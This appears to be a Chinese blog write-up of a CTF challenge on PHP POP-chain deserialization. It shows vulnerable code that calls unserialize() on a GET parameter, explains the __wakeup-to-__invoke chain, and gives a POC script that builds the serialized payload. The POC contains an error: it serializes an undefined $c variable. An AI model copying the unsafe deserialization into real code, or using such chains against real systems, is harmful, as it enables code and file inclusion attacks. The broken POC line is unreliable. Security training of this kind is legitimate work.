首页 > 编程语言 >PHP_POP链

PHP_POP链

时间:2023-10-04 19:12:12浏览次数:38  
标签:__ function 调用 POP source flag PHP

POP链

审计

做一题简单的POP链的题目来学习一下POP链的构造。

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

阅读源码,题目告诉我们flag在flag.php中,那么如果需要获得flag,应该要先包含flag.php这个文件。

那就找找文件包含的函数,在源码中是Modifier这个类使用了文件包含include()函数,那调用这个include()的条件是调用append()这个函数,调用append()的条件又是触发__invoke()这个魔术方法,这个魔术方法的触发条件是把对象当成函数调用时会触发__invoke()中的内容;$var的值只需要赋值为flag.php就完成了包含。

继续往下审计,Show这个类中没有可以控制调用函数的地方,在Test这个类中可以找到有一个可以控制调用函数的地方;位于__get()魔术方法的内部,return$function()是一个变量,我们可以控制这个变量去调用Modifier这个类,这样就会触发__invoke这个魔术方法,$function()是由成员变成$p提供的,那么$p赋值成Modifier就可以了。

执行__get()魔术方法又是一个问了,继续查看有没有调用对象属性的代码;发现Show类中有一个调用对象属性的代码$this->str->source;我们只需要把$str赋值为一个对象,那么就这就是调用一个对象的source成员变量,这句代码又在__toString()魔术方法中;

寻找可以把对象当字符串输出的代码,就只能找到下方的__wakeup魔术方法中的echo $this->source,而__wakeup这个魔术方法的触发条件又是执行反序列化的时候调用。

总体的思路就这样子一步步反推出来,构成POP链。简化一下步骤就是:

  • 第一步:文件位于flag.php中,先包含这个文件。执行包含的条件是把对象当函数调用,去找哪里可以控制调用函数的代码。
  • 第二步:找到了可以控制调用函数的代码,但是执行这个代码需要去调用一个不存在的成员属性,又去找可以调用成员属性的代码。
  • 第三步:调用成员属性的代码需要当类被成字符串输出的时候才能执行,又去找哪里可以输出字符串。
  • 第四步:找到输出字符串的代码,代码需要反序列化的时候执行,那么结合题目最后我们需要传入一个序列化字符串;至此完成POP链构造的思路。
POP链的构造:

依旧使用反推法:

  • 先包含flag.php这个文件:在Modifier类中赋值为"flag.php";
  • 控制函数调用,函数调用的$function()是由Test成员变量$p提供的;对$p赋值为Modifier
  • 调用不存在的成员属性,只需要把Show中的$str赋值为Test
  • 执行上一步的条件是当前对象被当成字符串输出,那只需要把$source设为自己就行了
POC构造
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var = "flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$Mod = new Modifier();
$test = new Test();
$test -> p = $Mod;
$show = new Show();
$show -> source = $show;
$show -> str = $test;

echo urlencode(serialize($c)); #由于private属性反序列化后是带有无法显示字符的,所以需要url编码
?>

标签:__,function,调用,POP,source,flag,PHP
From: https://www.cnblogs.com/qianyuzz/p/17742593.html

相关文章

  • C PHP Go.md
    C语言1.visualStudiolnstaller安装去官网下载后点击exe文件,在弹出的窗口中点击继续后,选择c++桌面开发并点击安装。注册账号登录vsl的时候需要登录账号,所以需要试用邮箱创建一个账号。新建项目点击新建项目后,再点击控制台应用并下一步,输入项目名称、路径......
  • 利用PHP的数组splice方法进行高效数据删除和插入
    PHP数组是一个非常强大的数据结构,它可以存储多个值,并按照需要对这些值进行添加、删除或修改。在PHP中,我们可以使用splice方法对数组进行删除和插入操作,以实现高效的数据操作。本文将介绍如何使用数组splice方法进行数据删除和插入,并给出示例代码。一、使用splice方法进行数据删除......
  • 利用PHP的数组splice方法进行高效数据删除和插入
    PHP数组是一个非常强大的数据结构,它可以存储多个值,并按照需要对这些值进行添加、删除或修改。在PHP中,我们可以使用splice方法对数组进行删除和插入操作,以实现高效的数据操作。本文将介绍如何使用数组splice方法进行数据删除和插入,并给出示例代码。一、使用splice方法进行数据删除数......
  • vulhub thinphp 5.0.23 学习复现
     靶场是基于vulhub的靶场docker-composeup-d 启动靶场并且漏洞环境是thinkphp5.0.23 现在验证漏洞列出了当前目录文件 可以,验证完了,看到漏洞存在 现在想尝试弹一个shell,开启监听  ok!bp可以,但是,查看服务器并未得到shell不清楚是为什么,等下再看,先拿web......
  • Begin of PHP
    打开直接就是一份php代码,分析代码发现需要闯关,一共有五关 直接用ai给我翻译一下Level1:用户需要提供名为'key1'和'key2'的GET参数。这两个参数的内容不应相同,但它们的MD5哈希值应该相同。如果条件满足,将设置变量$flag1为True,否则会显示"nope,thisislevel1"。......
  • prism软件-graphpad prism软件下载 安装包下载方式
    GraphPadPrism提供了丰富的工具,用于创建科学的图表,并生成相关统计数据等等。此外,最新版本的GraphPadPrism软件为GraphPadPrism9.3.0,功能强大,同时也很容易上手,能够满足绝大部分医学科研绘图的需求。软件地址:看置顶贴软件介绍GraphPadPrismMAC版是一款高效易用的科研绘图工具,它......
  • python代码转成php代码的工具 或者go转成php的代码,想把odoo改成成php swoole当成web服
    目前市场上有一些可以将Python代码转换为PHP代码的工具,例如:Transcrypt:Transcrypt是一个将Python代码转换为JavaScript和PHP的工具。它可以将Python代码转换为相应的PHP代码,并保持语法和结构的一致性。Pythran:Pythran是一个专门用于加速Python代码执行的工具,但它也提供了将Python代......
  • k8s部署nginx+php+mysql
    mysql部署参考我之前文档一.hostPath创建项目1.编辑dockerfilevidockerfileiFROMdocker.io/openshift/base-centos7:latest#MAINTAINERfeiyu"[email protected]"RUNyummakecacheRUNyum-yinstallphp-fpmphpphp-gdphp-mysqlphp-mbstringphp-xmlphp-mcryptphp-im......
  • 安装nginx,php8,nfs,oralce19c客户端
    目录一.安装nginx二.安装php1.安装php8插件2.安装下载php8三.安装nfs四.安装19C客户端a.安装oracle19c客户端b.php连接oracle19c数据库五.nginx跳转php乱码六.php问题1.session获取不到2.设置php报错级别提示error_reporting一.安装nginx下载nginx地址tar-xfnginx-1.23.1.tar.......
  • string_array_object_date_php
    title:PHPString、Array、Object、Date常用方法小结tags:[PHP,常用方法小结]categories:常用方法keywords:常用方法小结,string,array,object,date,phpdescription:php常用方法小结Others:truedate:2020-07-2209:08:00{%noteprimaryno-icon%}  大自然的......